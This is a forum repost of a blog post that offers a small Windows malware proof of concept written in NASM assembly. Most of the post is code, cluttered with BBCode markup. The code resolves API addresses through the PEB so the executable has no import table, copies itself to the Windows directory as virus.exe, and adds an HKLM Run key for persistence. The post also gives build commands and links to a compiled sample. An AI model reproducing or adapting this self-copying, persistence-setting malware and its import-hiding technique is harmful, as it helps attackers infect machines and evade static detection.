Jump to content
Nytro

Tiny Malware PoC: Malware Without IAT, DATA OR Resource Section

Recommended Posts

Tiny Malware PoC: Malware Without IAT, DATA OR Resource Section

Submitted by siteadm on Wed, 08/13/2014 - 21:58

Have you ever wondered about having an EXE without any entry in IAT (Import Address Table) at all? Well, I knew that it's possible, but never saw an actual exe file without IAT entry. So I developed an application which is 1,536 bytes and still does basic annoying malware things. So to summarize, this tiny app:

- Enumerates following APIs:

Kernel32

  • GetProcAddress
  • VirtualAlloc
  • GetModuleFileNameA
  • ExitProcess
  • CopyFileA
  • GetWindowsDirectoryA
  • LoadLibraryA

Advapi32

  • RegCreateKeyA
  • RegSetKeyValueA
  • RegCloseKey

User32

  • MessageBoxA

- Allocates 0x0B000 bytes in fixed memory location (0x0C000000)

- Resolves and stores all DLL handles, API function addresses, strings and API call return values in this newly allocated memory page.

- Copies itself to Windows directory under virus.exe name

- Creates a startup key in HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run called viri and points to virus.exe in %WINDIR%

- Shows a MessageBox with "Infected!" string as title and text of message.

- Terminates itself

So this is basically what I did, but developing it and extending it is just a matter of time.

Anyway, let's see the code:

Beginning of file is just finding Kernel32 handle and offset of export table of Kernel32.dll


[COLOR=#008000][[/COLOR]section[COLOR=#008000]][/COLOR] .[COLOR=#007788]text[/COLOR]
BITS [COLOR=#0000dd]32[/COLOR]
global _start

_start[COLOR=#008080]:[/COLOR]
xor ecx,ecx
mov eax,[COLOR=#008000][[/COLOR]fs[COLOR=#008080]:[/COLOR]ecx[COLOR=#000040]+[/COLOR][COLOR=#208080]0x30[/COLOR][COLOR=#008000]][/COLOR]
mov eax,[COLOR=#008000][[/COLOR]eax[COLOR=#000040]+[/COLOR][COLOR=#208080]0xc[/COLOR][COLOR=#008000]][/COLOR]
mov esi,[COLOR=#008000][[/COLOR]eax[COLOR=#000040]+[/COLOR][COLOR=#208080]0x14[/COLOR][COLOR=#008000]][/COLOR]
lodsd
xchg eax,esi
lodsd
mov ebx,[COLOR=#008000][[/COLOR]eax[COLOR=#000040]+[/COLOR][COLOR=#208080]0x10[/COLOR][COLOR=#008000]][/COLOR]
mov edx,[COLOR=#008000][[/COLOR]ebx[COLOR=#000040]+[/COLOR][COLOR=#208080]0x3c[/COLOR][COLOR=#008000]][/COLOR]
add edx,ebx
mov edx,[COLOR=#008000][[/COLOR]edx[COLOR=#000040]+[/COLOR][COLOR=#208080]0x78[/COLOR][COLOR=#008000]][/COLOR]
add edx,ebx
mov esi,[COLOR=#008000][[/COLOR]edx[COLOR=#000040]+[/COLOR][COLOR=#208080]0x20[/COLOR][COLOR=#008000]][/COLOR]
add esi,ebx
xor ecx,ecx
xor ecx,ecx
mov eax,[COLOR=#008000][[/COLOR]fs[COLOR=#008080]:[/COLOR]ecx[COLOR=#000040]+[/COLOR][COLOR=#208080]0x30[/COLOR][COLOR=#008000]][/COLOR]
mov eax,[COLOR=#008000][[/COLOR]eax[COLOR=#000040]+[/COLOR][COLOR=#208080]0xc[/COLOR][COLOR=#008000]][/COLOR] [COLOR=#008080];[/COLOR] EAX [COLOR=#000080]=[/COLOR] PEB[COLOR=#000040]-[/COLOR][COLOR=#000040]&[/COLOR]gt[COLOR=#008080];[/COLOR]Ldr
mov esi,[COLOR=#008000][[/COLOR]eax[COLOR=#000040]+[/COLOR][COLOR=#208080]0x14[/COLOR][COLOR=#008000]][/COLOR] [COLOR=#008080];[/COLOR] ESI [COLOR=#000080]=[/COLOR] PEB[COLOR=#000040]-[/COLOR][COLOR=#000040]&[/COLOR]gt[COLOR=#008080];[/COLOR]Ldr.[COLOR=#007788]InMemOrder[/COLOR]
lodsd [COLOR=#008080];[/COLOR] EAX [COLOR=#000080]=[/COLOR] Second module
xchg eax,esi [COLOR=#008080];[/COLOR] EAX [COLOR=#000080]=[/COLOR] ESI, ESI [COLOR=#000080]=[/COLOR] EAX
lodsd [COLOR=#008080];[/COLOR] EAX [COLOR=#000080]=[/COLOR] Third [COLOR=#008000]([/COLOR]kernel32[COLOR=#008000])[/COLOR]
mov ebx,[COLOR=#008000][[/COLOR]eax[COLOR=#000040]+[/COLOR][COLOR=#208080]0x10[/COLOR][COLOR=#008000]][/COLOR] [COLOR=#008080];[/COLOR] EBX [COLOR=#000080]=[/COLOR] Base address
mov edx,[COLOR=#008000][[/COLOR]ebx[COLOR=#000040]+[/COLOR][COLOR=#208080]0x3c[/COLOR][COLOR=#008000]][/COLOR] [COLOR=#008080];[/COLOR] EDX [COLOR=#000080]=[/COLOR] DOS[COLOR=#000040]-[/COLOR][COLOR=#000040]&[/COLOR]gt[COLOR=#008080];[/COLOR]e_lfanew
add edx,ebx [COLOR=#008080];[/COLOR] EDX [COLOR=#000080]=[/COLOR] PE Header
mov edx,[COLOR=#008000][[/COLOR]edx[COLOR=#000040]+[/COLOR][COLOR=#208080]0x78[/COLOR][COLOR=#008000]][/COLOR] [COLOR=#008080];[/COLOR] EDX [COLOR=#000080]=[/COLOR] Offset export table
add edx,ebx [COLOR=#008080];[/COLOR] EDX [COLOR=#000080]=[/COLOR] Export table
mov esi,[COLOR=#008000][[/COLOR]edx[COLOR=#000040]+[/COLOR][COLOR=#208080]0x20[/COLOR][COLOR=#008000]][/COLOR] [COLOR=#008080];[/COLOR] ESI [COLOR=#000080]=[/COLOR] Offset names table
add esi,ebx [COLOR=#008080];[/COLOR] ESI [COLOR=#000080]=[/COLOR] Names table
xor ecx,ecx [COLOR=#008080];[/COLOR] EXC [COLOR=#000080]=[/COLOR] [COLOR=#0000dd]0[/COLOR]

tryagain[COLOR=#008080]:[/COLOR]
inc ecx [COLOR=#008080];[/COLOR] Loop [COLOR=#0000ff]for[/COLOR] each function
lodsd
add eax,ebx [COLOR=#008080];[/COLOR] Loop untill function name
cmp dword [COLOR=#008000][[/COLOR]eax[COLOR=#008000]][/COLOR],[COLOR=#208080]0x50746547[/COLOR] [COLOR=#008080];[/COLOR] GetP
jnz tryagain
cmp dword [COLOR=#008000][[/COLOR]eax[COLOR=#000040]+[/COLOR][COLOR=#208080]0x4[/COLOR][COLOR=#008000]][/COLOR],[COLOR=#208080]0x41636f72[/COLOR] [COLOR=#008080];[/COLOR] rocA
jnz tryagain
cmp dword [COLOR=#008000][[/COLOR]eax[COLOR=#000040]+[/COLOR][COLOR=#208080]0x8[/COLOR][COLOR=#008000]][/COLOR],[COLOR=#208080]0x65726464[/COLOR] [COLOR=#008080];[/COLOR] ddre
jnz tryagain
mov esi,[COLOR=#008000][[/COLOR]edx[COLOR=#000040]+[/COLOR][COLOR=#208080]0x24[/COLOR][COLOR=#008000]][/COLOR] [COLOR=#008080];[/COLOR] ESI [COLOR=#000080]=[/COLOR] Offset ordinals
add esi,ebx [COLOR=#008080];[/COLOR] ESI [COLOR=#000080]=[/COLOR] Ordinals table
mov cx,[COLOR=#008000][[/COLOR]esi[COLOR=#000040]+[/COLOR]ecx[COLOR=#000040]*[/COLOR][COLOR=#0000dd]2[/COLOR][COLOR=#008000]][/COLOR] [COLOR=#008080];[/COLOR] CX [COLOR=#000080]=[/COLOR] Number of function
dec ecx
mov esi,[COLOR=#008000][[/COLOR]edx[COLOR=#000040]+[/COLOR][COLOR=#208080]0x1c[/COLOR][COLOR=#008000]][/COLOR] [COLOR=#008080];[/COLOR] ESI [COLOR=#000080]=[/COLOR] Offset address table
add esi,ebx [COLOR=#008080];[/COLOR] ESI [COLOR=#000080]=[/COLOR] Address table
mov edx,[COLOR=#008000][[/COLOR]esi[COLOR=#000040]+[/COLOR]ecx[COLOR=#000040]*[/COLOR][COLOR=#0000dd]4[/COLOR][COLOR=#008000]][/COLOR] [COLOR=#008080];[/COLOR] EDX [COLOR=#000080]=[/COLOR] Pointer[COLOR=#008000]([/COLOR]offset[COLOR=#008000])[/COLOR]
add edx,ebx [COLOR=#008080];[/COLOR] EDX [COLOR=#000080]=[/COLOR] GetProcAddress

As first step, we try to find VirtualAlloc API address:


xor ecx,ecx [COLOR=#008080];[/COLOR] ECX [COLOR=#000080]=[/COLOR] [COLOR=#0000dd]0[/COLOR]
PUSH [COLOR=#0000dd]0[/COLOR]
push ebx [COLOR=#008080];[/COLOR] Kernel32 base address
push edx [COLOR=#008080];[/COLOR] GetProcAddress
push ecx [COLOR=#008080];[/COLOR] [COLOR=#0000dd]0[/COLOR]
push [COLOR=#0000dd]0[/COLOR]
push [COLOR=#208080]0x636f6c6c[/COLOR]
push [COLOR=#208080]0x416c6175[/COLOR]
push [COLOR=#208080]0x74726956[/COLOR] [COLOR=#008080];[/COLOR] VirtualAlloc
push esp
push ebx [COLOR=#008080];[/COLOR] Kernel32 base address
call edx [COLOR=#008080];[/COLOR] GetProcAddress[COLOR=#008000]([/COLOR]LL[COLOR=#008000])[/COLOR]
PUSH eax

As you can see the pushing string into stack and calling PUSH ESP does the trick, so as I needed to do this so often, I wrote a small Python code to generate this type of assembly instruction for a given String:

import sys
[COLOR=#0000ff]if[/COLOR] len[COLOR=#008000]([/COLOR]sys.[COLOR=#007788]argv[/COLOR][COLOR=#008000])[/COLOR] [COLOR=#000040]&[/COLOR]lt[COLOR=#008080];[/COLOR] [COLOR=#0000dd]2[/COLOR][COLOR=#008080]:[/COLOR]
print [COLOR=#FF0000]"Please provide a string argument"[/COLOR]
[COLOR=#0000dd]exit[/COLOR]
APIName [COLOR=#000080]=[/COLOR] sys.[COLOR=#007788]argv[/COLOR][COLOR=#008000][[/COLOR][COLOR=#0000dd]1[/COLOR][COLOR=#008000]][/COLOR]

[COLOR=#0000ff]if[/COLOR] len[COLOR=#008000]([/COLOR]APIName[COLOR=#008000])[/COLOR] [COLOR=#000040]%[/COLOR] [COLOR=#0000dd]4[/COLOR] [COLOR=#000040]![/COLOR][COLOR=#000080]=[/COLOR] [COLOR=#0000dd]0[/COLOR][COLOR=#008080]:[/COLOR]
APIName [COLOR=#000080]=[/COLOR] APIName.[COLOR=#007788]ljust[/COLOR][COLOR=#008000]([/COLOR][COLOR=#008000]([/COLOR][COLOR=#008000]([/COLOR]len[COLOR=#008000]([/COLOR]APIName[COLOR=#008000])[/COLOR][COLOR=#000040]/[/COLOR][COLOR=#0000dd]4[/COLOR][COLOR=#008000])[/COLOR][COLOR=#000040]+[/COLOR][COLOR=#0000dd]1[/COLOR][COLOR=#008000])[/COLOR][COLOR=#000040]*[/COLOR][COLOR=#0000dd]4[/COLOR], [COLOR=#FF0000]'[COLOR=#006699][B]\0[/B][/COLOR]'[/COLOR][COLOR=#008000])[/COLOR]

print [COLOR=#FF0000]"push 0"[/COLOR]
[COLOR=#0000ff]for[/COLOR] i in range[COLOR=#008000]([/COLOR][COLOR=#0000dd]1[/COLOR], [COLOR=#008000]([/COLOR][COLOR=#008000]([/COLOR]len[COLOR=#008000]([/COLOR]APIName[COLOR=#008000])[/COLOR] [COLOR=#000040]/[/COLOR] [COLOR=#0000dd]4[/COLOR][COLOR=#008000])[/COLOR] [COLOR=#000040]+[/COLOR][COLOR=#0000dd]1[/COLOR][COLOR=#008000])[/COLOR][COLOR=#008000])[/COLOR][COLOR=#008080]:[/COLOR]
print [COLOR=#FF0000]"push "[/COLOR] [COLOR=#000040]+[/COLOR] [COLOR=#FF0000]"0x"[/COLOR][COLOR=#000040]+[/COLOR][COLOR=#FF0000]"{0:02x}"[/COLOR].[COLOR=#007788]format[/COLOR][COLOR=#008000]([/COLOR]ord[COLOR=#008000]([/COLOR]APIName[COLOR=#008000][[/COLOR][COLOR=#000040]-[/COLOR][COLOR=#008000]([/COLOR]i[COLOR=#000040]*[/COLOR][COLOR=#0000dd]4[/COLOR][COLOR=#000040]-[/COLOR][COLOR=#0000dd]3[/COLOR][COLOR=#008000])[/COLOR][COLOR=#008000]][/COLOR][COLOR=#008000])[/COLOR][COLOR=#008000])[/COLOR] [COLOR=#000040]+[/COLOR] [COLOR=#FF0000]"{0:02x}"[/COLOR].[COLOR=#007788]format[/COLOR][COLOR=#008000]([/COLOR]ord[COLOR=#008000]([/COLOR]APIName[COLOR=#008000][[/COLOR][COLOR=#000040]-[/COLOR][COLOR=#008000]([/COLOR]i[COLOR=#000040]*[/COLOR][COLOR=#0000dd]4[/COLOR][COLOR=#000040]-[/COLOR][COLOR=#0000dd]2[/COLOR][COLOR=#008000])[/COLOR][COLOR=#008000]][/COLOR][COLOR=#008000])[/COLOR][COLOR=#008000])[/COLOR] [COLOR=#000040]+[/COLOR] [COLOR=#FF0000]"{0:02x}"[/COLOR].[COLOR=#007788]format[/COLOR][COLOR=#008000]([/COLOR]ord[COLOR=#008000]([/COLOR]APIName[COLOR=#008000][[/COLOR][COLOR=#000040]-[/COLOR][COLOR=#008000]([/COLOR]i[COLOR=#000040]*[/COLOR][COLOR=#0000dd]4[/COLOR][COLOR=#000040]-[/COLOR][COLOR=#0000dd]1[/COLOR][COLOR=#008000])[/COLOR][COLOR=#008000]][/COLOR][COLOR=#008000])[/COLOR][COLOR=#008000])[/COLOR] [COLOR=#000040]+[/COLOR] [COLOR=#FF0000]"{0:02x}"[/COLOR].[COLOR=#007788]format[/COLOR][COLOR=#008000]([/COLOR]ord[COLOR=#008000]([/COLOR]APIName[COLOR=#008000][[/COLOR][COLOR=#000040]-[/COLOR][COLOR=#008000]([/COLOR]i[COLOR=#000040]*[/COLOR][COLOR=#0000dd]4[/COLOR][COLOR=#008000])[/COLOR][COLOR=#008000]][/COLOR][COLOR=#008000])[/COLOR][COLOR=#008000])[/COLOR]
print [COLOR=#FF0000]"push esp ;"[/COLOR] [COLOR=#000040]+[/COLOR] APIName

You can simply run this Python script with a string as parameter and it produces required ASM instruction for pushing given string into stack, example call and output:

C[COLOR=#008080]:[/COLOR]\[COLOR=#000040]&[/COLOR]gt[COLOR=#008080];[/COLOR]APINameToASM.[COLOR=#007788]py[/COLOR] user32.[COLOR=#007788]dll[/COLOR]
push [COLOR=#0000dd]0[/COLOR]
push [COLOR=#208080]0x00006c6c[/COLOR]
push [COLOR=#208080]0x642e3233[/COLOR]
push [COLOR=#208080]0x72657375[/COLOR]
push esp [COLOR=#008080];[/COLOR]user32.[COLOR=#007788]dll[/COLOR]

Now we allocate a fixed size, fixed location memory page to store all strings and resolved API pointers:

PUSH [COLOR=#208080]0x40[/COLOR] [COLOR=#008080];[/COLOR] DWORD flProtect [COLOR=#000080]=[/COLOR] PAGE_EXECUTE_READWRITE
PUSH [COLOR=#208080]0x3000[/COLOR][COLOR=#008080];[/COLOR] DWORD flAllocationType [COLOR=#000080]=[/COLOR] MEM_COMMIT [COLOR=#000040]|[/COLOR] MEM_RESERVE
PUSH [COLOR=#208080]0x0B000[/COLOR][COLOR=#008080];[/COLOR] SIZE_T dwSize
PUSH [COLOR=#208080]0x0C000000[/COLOR] [COLOR=#008080];[/COLOR] LPVOID lpAddress
CALL EAX [COLOR=#008080];[/COLOR] call VirtualAlloc

From now on, we store all resolved API pointers in 0x0c000000 address. Whole table after running application will look like this:

[COLOR=#208080]0x0c000000[/COLOR] [COLOR=#000080]=[/COLOR][COLOR=#000040]&[/COLOR]gt[COLOR=#008080];[/COLOR] Kernel32 handle
[COLOR=#208080]0x0C000004[/COLOR] [COLOR=#000080]=[/COLOR][COLOR=#000040]&[/COLOR]gt[COLOR=#008080];[/COLOR] GetProcAddress pointer
[COLOR=#208080]0x0C000008[/COLOR] [COLOR=#000080]=[/COLOR][COLOR=#000040]&[/COLOR]gt[COLOR=#008080];[/COLOR] VirtualAlloc pointer
[COLOR=#208080]0x0C00000C[/COLOR] [COLOR=#000080]=[/COLOR][COLOR=#000040]&[/COLOR]gt[COLOR=#008080];[/COLOR] GetModuleFileNameA pointer
[COLOR=#208080]0x0C000010[/COLOR] [COLOR=#000080]=[/COLOR][COLOR=#000040]&[/COLOR]gt[COLOR=#008080];[/COLOR] ExitProcess pointer
[COLOR=#208080]0x0C000014[/COLOR] [COLOR=#000080]=[/COLOR][COLOR=#000040]&[/COLOR]gt[COLOR=#008080];[/COLOR] CopyFileA pointer
[COLOR=#208080]0x0C000018[/COLOR] [COLOR=#000080]=[/COLOR][COLOR=#000040]&[/COLOR]gt[COLOR=#008080];[/COLOR] GetWindowsDirectoryA pointer
[COLOR=#208080]0x0C00001C[/COLOR] [COLOR=#000080]=[/COLOR][COLOR=#000040]&[/COLOR]gt[COLOR=#008080];[/COLOR] LoadLibraryA pointer
[COLOR=#008080];[/COLOR] space [COLOR=#0000ff]for[/COLOR] [COLOR=#0000dd]40[/COLOR] kernel32 function address [COLOR=#000080]=[/COLOR] [COLOR=#0000dd]40[/COLOR] x [COLOR=#0000dd]4[/COLOR] [COLOR=#000080]=[/COLOR] [COLOR=#0000dd]160[/COLOR] in decimal [COLOR=#008000]([/COLOR][COLOR=#208080]0xA0[/COLOR][COLOR=#008000])[/COLOR]
[COLOR=#008080];[/COLOR] [COLOR=#208080]0xA0[/COLOR] [COLOR=#000040]+[/COLOR] [COLOR=#208080]0x04[/COLOR] [COLOR=#000080]=[/COLOR] [COLOR=#208080]0xA4[/COLOR] beginning of Advapi
[COLOR=#208080]0x0C0000A4[/COLOR] [COLOR=#000080]=[/COLOR][COLOR=#000040]&[/COLOR]gt[COLOR=#008080];[/COLOR] Advapi32 handle
[COLOR=#208080]0x0C0000A8[/COLOR] [COLOR=#000080]=[/COLOR][COLOR=#000040]&[/COLOR]gt[COLOR=#008080];[/COLOR] RegCreateKeyA pointer
[COLOR=#208080]0x0C0000AC[/COLOR] [COLOR=#000080]=[/COLOR][COLOR=#000040]&[/COLOR]gt[COLOR=#008080];[/COLOR] RegSetKeyValueA pointer
[COLOR=#208080]0x0C000060[/COLOR] [COLOR=#000080]=[/COLOR][COLOR=#000040]&[/COLOR]gt[COLOR=#008080];[/COLOR] RegCloseKey pointer
[COLOR=#008080];[/COLOR] space [COLOR=#0000ff]for[/COLOR] [COLOR=#0000dd]40[/COLOR] user32.[COLOR=#007788]dll[/COLOR] function address [COLOR=#000080]=[/COLOR] [COLOR=#0000dd]40[/COLOR] x [COLOR=#0000dd]4[/COLOR] [COLOR=#000080]=[/COLOR] [COLOR=#0000dd]160[/COLOR] in decimal [COLOR=#008000]([/COLOR][COLOR=#208080]0xA0[/COLOR][COLOR=#008000])[/COLOR]
[COLOR=#008080];[/COLOR] [COLOR=#208080]0xA4[/COLOR] [COLOR=#000040]+[/COLOR] [COLOR=#208080]0xA4[/COLOR] [COLOR=#000080]=[/COLOR] [COLOR=#208080]0x148[/COLOR] beginning of User32
[COLOR=#208080]0x0C000148[/COLOR] [COLOR=#000080]=[/COLOR][COLOR=#000040]&[/COLOR]gt[COLOR=#008080];[/COLOR] User32 handle
[COLOR=#208080]0x0C00014C[/COLOR] [COLOR=#000080]=[/COLOR][COLOR=#000040]&[/COLOR]gt[COLOR=#008080];[/COLOR] MessageBoxA pointer

Also I used same memory page to store strings, for example:

[COLOR=#208080]0x0C00AEF0[/COLOR] [COLOR=#000080]=[/COLOR][COLOR=#000040]&[/COLOR]gt[COLOR=#008080];[/COLOR] Current EXE file path [COLOR=#008000]([/COLOR]returned by GetModuleFileName API[COLOR=#008000])[/COLOR]
[COLOR=#208080]0x0C00ADEC[/COLOR] [COLOR=#000080]=[/COLOR][COLOR=#000040]&[/COLOR]gt[COLOR=#008080];[/COLOR] Windows Directory path [COLOR=#008000]([/COLOR]returned by GetWindowsDirectory API[COLOR=#008000])[/COLOR]
[COLOR=#208080]0x0C00ADE5[/COLOR] [COLOR=#000080]=[/COLOR][COLOR=#000040]&[/COLOR]gt[COLOR=#008080];[/COLOR] [COLOR=#FF0000]"viri"[/COLOR] string [COLOR=#008000]([/COLOR]registry value name[COLOR=#008000])[/COLOR]
[COLOR=#208080]0x0C00AB8C[/COLOR] [COLOR=#000080]=[/COLOR][COLOR=#000040]&[/COLOR]gt[COLOR=#008080];[/COLOR] [COLOR=#FF0000]"Infected!"[/COLOR] string

Also I created 3 functions to resolve API pointers easier:

EnumKernelAPI[COLOR=#008080]:[/COLOR]
POP EBP [COLOR=#008080];[/COLOR] ret addr
MOV ECX, [COLOR=#208080]0x0C000000[/COLOR]
PUSH DWORD [COLOR=#008000][[/COLOR]ECX[COLOR=#008000]][/COLOR] [COLOR=#008080];[/COLOR] kernel32 handle
call dword [COLOR=#008000][[/COLOR]ECX[COLOR=#000040]+[/COLOR][COLOR=#208080]0x04[/COLOR][COLOR=#008000]][/COLOR] [COLOR=#008080];[/COLOR] getprocaddress
MOV ECX, [COLOR=#208080]0x0C000000[/COLOR]
PUSH EBP
retn


EnumAdvapiAPI[COLOR=#008080]:[/COLOR]
POP EBP [COLOR=#008080];[/COLOR] ret addr
MOV ECX, [COLOR=#208080]0x0C000000[/COLOR]
PUSH DWORD [COLOR=#008000][[/COLOR]ECX[COLOR=#000040]+[/COLOR][COLOR=#208080]0xA4[/COLOR][COLOR=#008000]][/COLOR] [COLOR=#008080];[/COLOR] advapi32 handle
call dword [COLOR=#008000][[/COLOR]ECX[COLOR=#000040]+[/COLOR][COLOR=#208080]0x04[/COLOR][COLOR=#008000]][/COLOR] [COLOR=#008080];[/COLOR] getprocaddress
MOV ECX, [COLOR=#208080]0x0C000000[/COLOR]
PUSH EBP
retn

EnumUserAPI[COLOR=#008080]:[/COLOR]
POP EBP [COLOR=#008080];[/COLOR] ret addr
MOV ECX, [COLOR=#208080]0x0C000000[/COLOR]
PUSH DWORD [COLOR=#008000][[/COLOR]ECX[COLOR=#000040]+[/COLOR][COLOR=#208080]0x148[/COLOR][COLOR=#008000]][/COLOR] [COLOR=#008080];[/COLOR] user32 handle
call dword [COLOR=#008000][[/COLOR]ECX[COLOR=#000040]+[/COLOR][COLOR=#208080]0x04[/COLOR][COLOR=#008000]][/COLOR] [COLOR=#008080];[/COLOR] getprocaddress
MOV ECX, [COLOR=#208080]0x0C000000[/COLOR]
PUSH EBP
retn

Also you need to call ExitProcess to prevent crashing, so:

TerminateProcess[COLOR=#008080]:[/COLOR]
PUSH [COLOR=#0000dd]0[/COLOR][COLOR=#008080];[/COLOR] dwExitCode
MOV ECX, [COLOR=#208080]0x0C000000[/COLOR]
CALL DWORD [COLOR=#008000][[/COLOR]ECX[COLOR=#000040]+[/COLOR][COLOR=#208080]0x10[/COLOR][COLOR=#008000]][/COLOR] [COLOR=#008080];[/COLOR] call ExitProcess
is necessary.

After resolving APIs, calling them is really easy, for example:

MOV ECX, [COLOR=#208080]0x0C000000[/COLOR]
push [COLOR=#0000dd]1[/COLOR] [COLOR=#008080];[/COLOR] bFailIfExists [COLOR=#000080]=[/COLOR] [COLOR=#0000ff]false[/COLOR]
push [COLOR=#208080]0xC00ADEC[/COLOR] [COLOR=#008080];[/COLOR] [COLOR=#000040]%[/COLOR]WINDIR[COLOR=#000040]%[/COLOR]\Virus.[COLOR=#007788]exe[/COLOR]
push [COLOR=#208080]0x0C00AEF0[/COLOR] [COLOR=#008080];[/COLOR] Current EXE path
call dword[COLOR=#008000][[/COLOR]ECX[COLOR=#000040]+[/COLOR][COLOR=#208080]0x14[/COLOR][COLOR=#008000]][/COLOR] [COLOR=#008080];[/COLOR] CopyFileA

Result:

CopyFileCall.png

Another call:

mov ecx, [COLOR=#208080]0xC00ADAC[/COLOR][COLOR=#008080];[/COLOR] location of subkey
mov dword[COLOR=#008000][[/COLOR]ecx[COLOR=#000040]+[/COLOR][COLOR=#0000dd]44[/COLOR][COLOR=#008000]][/COLOR], [COLOR=#208080]0x0000006e[/COLOR]
mov dword[COLOR=#008000][[/COLOR]ecx[COLOR=#000040]+[/COLOR][COLOR=#0000dd]40[/COLOR][COLOR=#008000]][/COLOR], [COLOR=#208080]0x75525c6e[/COLOR]
mov dword[COLOR=#008000][[/COLOR]ecx[COLOR=#000040]+[/COLOR][COLOR=#0000dd]36[/COLOR][COLOR=#008000]][/COLOR], [COLOR=#208080]0x6f697372[/COLOR]
mov dword[COLOR=#008000][[/COLOR]ecx[COLOR=#000040]+[/COLOR][COLOR=#0000dd]32[/COLOR][COLOR=#008000]][/COLOR], [COLOR=#208080]0x6556746e[/COLOR]
mov dword[COLOR=#008000][[/COLOR]ecx[COLOR=#000040]+[/COLOR][COLOR=#0000dd]28[/COLOR][COLOR=#008000]][/COLOR], [COLOR=#208080]0x65727275[/COLOR]
mov dword[COLOR=#008000][[/COLOR]ecx[COLOR=#000040]+[/COLOR][COLOR=#0000dd]24[/COLOR][COLOR=#008000]][/COLOR], [COLOR=#208080]0x435c7377[/COLOR]
mov dword[COLOR=#008000][[/COLOR]ecx[COLOR=#000040]+[/COLOR][COLOR=#0000dd]20[/COLOR][COLOR=#008000]][/COLOR], [COLOR=#208080]0x6f646e69[/COLOR]
mov dword[COLOR=#008000][[/COLOR]ecx[COLOR=#000040]+[/COLOR][COLOR=#0000dd]16[/COLOR][COLOR=#008000]][/COLOR], [COLOR=#208080]0x575c7466[/COLOR]
mov dword[COLOR=#008000][[/COLOR]ecx[COLOR=#000040]+[/COLOR][COLOR=#0000dd]12[/COLOR][COLOR=#008000]][/COLOR], [COLOR=#208080]0x6f736f72[/COLOR]
mov dword[COLOR=#008000][[/COLOR]ecx[COLOR=#000040]+[/COLOR][COLOR=#0000dd]8[/COLOR][COLOR=#008000]][/COLOR], [COLOR=#208080]0x63694d5c[/COLOR]
mov dword[COLOR=#008000][[/COLOR]ecx[COLOR=#000040]+[/COLOR][COLOR=#0000dd]4[/COLOR][COLOR=#008000]][/COLOR], [COLOR=#208080]0x65726177[/COLOR]
mov dword[COLOR=#008000][[/COLOR]ecx[COLOR=#008000]][/COLOR], [COLOR=#208080]0x74666f53[/COLOR] [COLOR=#008080];[/COLOR]Software\Microsoft\Windows\CurrentVersion\Run

push [COLOR=#208080]0xC00ADE0[/COLOR] [COLOR=#008080];[/COLOR] PHKEY phkResult
push [COLOR=#208080]0xC00ADAC[/COLOR] [COLOR=#008080];[/COLOR] lpSubkey [COLOR=#000080]=[/COLOR] Software\Microsoft\Windows\CurrentVersion\Run
push [COLOR=#208080]0x80000002[/COLOR][COLOR=#008080];[/COLOR] HKEY [COLOR=#000080]=[/COLOR] HKEY_LOCAL_MACHINE
mov ecx, [COLOR=#208080]0x0C000000[/COLOR]
call dword[COLOR=#008000][[/COLOR]ecx[COLOR=#000040]+[/COLOR][COLOR=#208080]0xA8[/COLOR][COLOR=#008000]][/COLOR] [COLOR=#008080];[/COLOR] RegCreateKeyA
mov ecx, [COLOR=#208080]0x0C000000[/COLOR]

MOV DWORD[COLOR=#008000][[/COLOR]ECX[COLOR=#000040]+[/COLOR][COLOR=#208080]0xADE5[/COLOR][COLOR=#008000]][/COLOR], [COLOR=#208080]0x69726976[/COLOR] [COLOR=#008080];[/COLOR] viri string, will be used as registry value name
MOV EDI, [COLOR=#208080]0xC00ADEC[/COLOR] [COLOR=#008080];[/COLOR] Address of C[COLOR=#008080]:[/COLOR]\Windows\Virus.[COLOR=#007788]exe[/COLOR] string

SUB ECX,ECX
SUB AL,AL
NOT ECX
CLD
REPNE SCASB
NOT ECX
DEC ECX [COLOR=#008080];[/COLOR] Length of C[COLOR=#008080]:[/COLOR]\Windows\Virus.[COLOR=#007788]exe[/COLOR], instead of hardcoding, we calculate it dynamically, incase some computers have Windows installed in WINNT or any other name

MOV EBX, [COLOR=#208080]0x0C000000[/COLOR]
MOV EDI, [COLOR=#208080]0xC00ADEC[/COLOR]
PUSH ECX [COLOR=#008080];[/COLOR] DWORD cbData [COLOR=#008000]([/COLOR]length of C[COLOR=#008080]:[/COLOR]\Windows\Virus.[COLOR=#007788]exe[/COLOR][COLOR=#008000])[/COLOR]
PUSH EDI [COLOR=#008080];[/COLOR] LPCVOID lpData [COLOR=#008000]([/COLOR]C[COLOR=#008080]:[/COLOR]\Windows\Virus.[COLOR=#007788]exe[/COLOR][COLOR=#008000])[/COLOR]
PUSH [COLOR=#0000dd]1[/COLOR] [COLOR=#008080];[/COLOR] DWORD dwTYPE [COLOR=#000080]=[/COLOR] REG_SZ
PUSH [COLOR=#208080]0x0C00ADE5[/COLOR] [COLOR=#008080];[/COLOR] LPCTSTR lpValueName [COLOR=#000080]=[/COLOR] viri
PUSH [COLOR=#0000dd]0[/COLOR] [COLOR=#008080];[/COLOR] LPCTSTR lpSubKey [COLOR=#000080]=[/COLOR] [COLOR=#0000ff]NULL[/COLOR] [COLOR=#008000]([/COLOR]will use already open key[COLOR=#008000])[/COLOR]
PUSH DWORD [COLOR=#008000][[/COLOR]EBX[COLOR=#000040]+[/COLOR][COLOR=#208080]0xADE0[/COLOR][COLOR=#008000]][/COLOR] [COLOR=#008080];[/COLOR] HKEY hKey [COLOR=#000080]=[/COLOR] output of previous RegCreateKeyA call
CALL DWORD [COLOR=#008000][[/COLOR]EBX[COLOR=#000040]+[/COLOR][COLOR=#208080]0xAC[/COLOR][COLOR=#008000]][/COLOR] [COLOR=#008080];[/COLOR] RegSetKeyValue

MOV ECX, [COLOR=#208080]0x0C000000[/COLOR]
PUSH DWORD [COLOR=#008000][[/COLOR]ECX[COLOR=#000040]+[/COLOR][COLOR=#208080]0xADE0[/COLOR][COLOR=#008000]][/COLOR] [COLOR=#008080];[/COLOR] HKEY hKey[COLOR=#008080];[/COLOR]
Call DWORD [COLOR=#008000][[/COLOR]ECX[COLOR=#000040]+[/COLOR][COLOR=#208080]0xB0[/COLOR][COLOR=#008000]][/COLOR] [COLOR=#008080];[/COLOR] call RegCloseKey

Result:

CreateReg.png

Anyway, you can see entire source code here.

To compile you need to run two commands:

nasm -fwin32 IATLess.asm

link /subsystem:windows /entry:start IATLess.obj

No .data section:

PESections.png

and no IAT entry:

ImportTable.png

PEStudio screenshot:

PEStudio.png

UPDATE: As requested, I uploaded compiled file here. Password: infected

Sursa: https://www.codeandsec.com/PoC-Tiny-Malware-Without-IAT-DATA-Or-Resource-Section

